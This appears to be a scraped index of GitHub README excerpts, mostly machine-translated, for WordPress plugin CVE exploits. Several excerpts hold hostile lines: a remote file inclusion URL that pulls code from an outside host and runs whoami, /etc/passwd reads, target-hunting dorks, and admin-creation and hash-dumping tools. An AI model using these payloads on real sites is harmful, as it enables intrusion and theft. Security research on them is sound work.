Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 CVE-2020-35489 は、WordPress プラグイン Contact Form 7 5.3.1 およびそれ以前のバージョンで発見されました。この脆弱性を悪用することで、攻撃者は Web サイト上のアップロード可能なファイルタイプに関するすべての制限を回避し、任意の種類のファイルを簡単にアップロードできてしまいます。 推定 500万 の Web サイトが影響を受けました。 PoC は 2020 年 12 月 31 日に公開され、ユーザーにアップデートの時間を確保します。 参考...

wordpress-CVE-2024-27956

このリポジトリには README がありません。...

CVE-2025-2539

POC - CVE-2025-2539 File Away 免責事項 : このProof of Concept（POC）は、教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットへの攻撃にこのツールを使用することは違法です。適用されるすべての地域、州、連邦法を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムの誤用または損害について責任を負いません。 完全なPOC はじめに ターゲットの見つけ方 潜在的なターゲットを見つけるには、Fofa（Shodan.ioに類似）を使用します： Fofa Dork :...

CVE-2024-44000-LiteSpeed-Cache

CVE-2024-44000-LiteSpeed-Cache CVE-2024-44000は、人気のWordPressプラグインであるLiteSpeed Cacheプラグインの脆弱性です。この脆弱性は、LiteSpeed Cacheのセッション管理に影響を与え、攻撃者が機密データに不正アクセスできるようにします。 プレビュー 使い方？ git clone https://github.com/ifqygazhar/CVE-2024-44000-LiteSpeed-Cache.git ディレクトリに移動 cd CVE-2024-44000-LiteSpeed-Cache ツールの実行...

CVE-2025-4796

CVE-2025-4796 eventin 그리고 스피커 이메일을 자신이 제어하는 이메일로 변경합니다. 그런 다음 공격자는 WordPress 비밀번호 재설정을 사용하여 관리자 계정을 탈취할 수 있습니다. 요구 사항: Python 3.8 이상 requests requests 설치: pip install requests 사용법 스크립트를 실행하고 프롬프트가 표시되면 필요한 값을 입력합니다: python3 CVE-2025-4796.py 예제 출력 + SSL 인증 확인 경고 해제 중 + WordPress에 로그인 중. + 로그인 성공. ...

CVE-2026-9833

CVE-2026-9833 CVE ID: CVE-2026-9833 脆弱性タイプ： クロスサイトスクリプティング（XSS）– 反射型 XSS CWE: CWE-79 – Web ページ生成時の入力の不適切な無害化（'クロスサイトスクリプティング'） 深刻度： 高（CISA ADP CVSS v3.1: 7.1） 概要 CVE-2026-9833 は、WordPress プラグイン「Tag Groups – Advanced Way to Display Your Taxonomy Terms」のバージョン 2.2.0 より前のバージョンに影響します。 この脆弱性は、プラグインの AJ...

WP-GDPR-Compliance-Plugin-Exploit

WP GDPR Compliance プラグイン WordPress の脆弱性 CVE-2018-19207 のエクスプロイト このPythonスクリプトは、管理者ロールを持つユーザーを作成します。あなたの特定のケースに応じて、baseurl、username、email の変数を変更してください。新しく作成されたユーザーアカウントにパスワードを設定するために、このアドレスにメールが送信されるため、有効なメールアドレスが必要です。 これは WP GDPR Compliance プラグインのバージョン 1.4.2 以下で動作します。...

CVE-2021-34621

CVE-2021-34621 ProfilePress 3.0 - 3.1.3 - 인증되지 않은 권한 상승 설명 플러그인의 사용자 등록 기능에서 등록 중에 wpcapabilities를 포함한 임의의 사용자 메타를 제공할 수 있었으며, 이를 통해 사용자가 관리자로 등록할 수 있었습니다. POC 'Hax0r', 'regemail' = '[email protected]', 'regpassword' = 'password', 'regpasswordpresent' = 'true', 'regfirstname' = 'Hax0r',...

CVE-2021-24356

CVE-2021-24356 Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - 구독자 + 임의 플러그인 설치 설명 플러그인의 AJAX 액션에 대한 기능 검사와 nonce 검사가 부족하여, 인증된 사용자가 취약한 사이트에 임의의 플러그인을 설치할 수 있었습니다. 사용 방법 $ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks Getting...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC これは、WordPress Photo GalleryプラグインのSQLインジェクション脆弱性であるCVE-2022-0169 のためのシンプルなPython proof-of-concept（PoC）です。 機能 WordPressのバージョンを確認（可能な場合） 脆弱なadmin-ajax.phpエンドポイントを悪用 wpusersのユーザー名とパスワードハッシュをダンプ タイムスタンプ付きのフォルダに結果を保存 必要に応じてhashcatでクラックするかどうかプロンプト表示...

CVE-2025-14440

CVE-2025-14440 JAY Login & Register -id 引数: -u または --url: 対象サイト（https:// の有無は問いません） -id または --id: 悪用するユーザーID（例：管理者なら 1） 📈 期待される出力 悪用が成功した場合 、以下が表示されます： 抽出されたセッション Cookie が画面に表示され、 サイトと関連する Cookie が extractedcookies.txt に保存されます 悪用が失敗した場合 （サイトが脆弱でない、ユーザーIDが無効、またはパッチが適用されている場合）、スクリプトは丁寧に通知します...

CVE-2025-6440

CVE-2025-6440 WooCommerce Designer Pro 완화 방법 Canvas Designer 플러그인을 이 취약점이 패치된 최신 버전으로 업데이트하세요. 또는 플러그인에서 직접 파일 업로드를 제한하고 업로드된 파일 내용에 대한 적절한 검증을 보장하세요. 사이트 관리자는 다음을 권장합니다: 취약한 버전을 즉시 제거하세요. 보안 강화를 적용하세요예: 업로드 디렉터리에서 PHP 실행 비활성화. 웹 애플리케이션 방화벽WAF을 사용하여 악성 AJAX 요청을 차단하세요...

cve-lfi-lab

🧠 CVE Lab: Tier 1 SOC Analyst Simulation CVE-2025-39507 | WordPress Nasa Coreプラグインにおけるローカルファイルインクルード 📝 シナリオ: SOCの一日 いつもの月曜日。私はSOCダッシュボードにログインし、いつものようにアラートを確認しています。一つ目に留まるアラートが届きました： アラート: ローカルファイルインクルージョン LFI の可能性 IPアドレス: 203.0.113.44 URL: /index.php?file=../../../../etc/passwd ユーザーエージェント:...

CVE-2025-8625

CVE-2025-8625 Copypress Rest API 1.1 - 1.2 - 設定可能なJWTシークレットとファイルタイプ検証の欠如による、認証されていないリモートコード実行 🛡️ Copypress Rest API 1.1 - 1.2 RCE エクスプロイト 📝 説明 WordPress用Copypress Rest APIプラグイン（バージョン1.1から1.2）は、copyreaphandleimage 関数を介したリモートコード実行 に対して脆弱です。...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro マススキャナー & 自動管理者作成 📌 説明 このツールは、WordPress用プラグイン WP Google Map Pro の脆弱性 CVE-2026-8732 を悪用します。この脆弱性により、認証されていない攻撃者がAJAXエンドポイント admin-ajax.php?action=wpgmptempaccessajax を介して有効な wpmptoken を取得できます。このトークンを使用して、攻撃者はWordPress管理パネルにアクセスし、新しい管理者ユーザーを作成できます。...

CVE-2022-29455

CVE-2022-29455 Wordpressの脆弱性 - XSS（クロスサイトスクリプティング） 脆弱性の位置 https://add your target here/wp-content/plugins/elementor/assets/js/frontend.min.js 脆弱性のあるバージョン 例 - https://www.youtube.com/watch?v=4qvOkSbhcE...

CVE-2024-1698-Exploit

CVE-2024-1698 エクスプロイトスクリプト - WordPress NotificationX = 2.8.2 - SQLインジェクション これは、CVE-2024-1698を悪用してWordPress管理者のユーザー名とパスワードハッシュを特定するためのエクスプロイトスクリプトです。 このPythonスクリプトは教育目的のみを意図しています。WordPressサイトのNotificationX Analytics APIにおけるCVE-2024-1698...

CVE-2025-2005

CVE-2025-2005 — Front-End Users Arbitrary File Upload CVE-2025-2005 WordPress Front-End Users — Unauthenticated Arbitrary File Upload 0xZ3R0 // h4ckxel 0x00 — Executive Summary Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32. The...

CVE-2026-3576

CVE-2026-3576 - WordPressプラグイン Planyo Online Reservation System -f --disable-check python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd 実行例 └─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd Checking if target is vulnerable... + Version found: 2.9 + Target is vulnerable...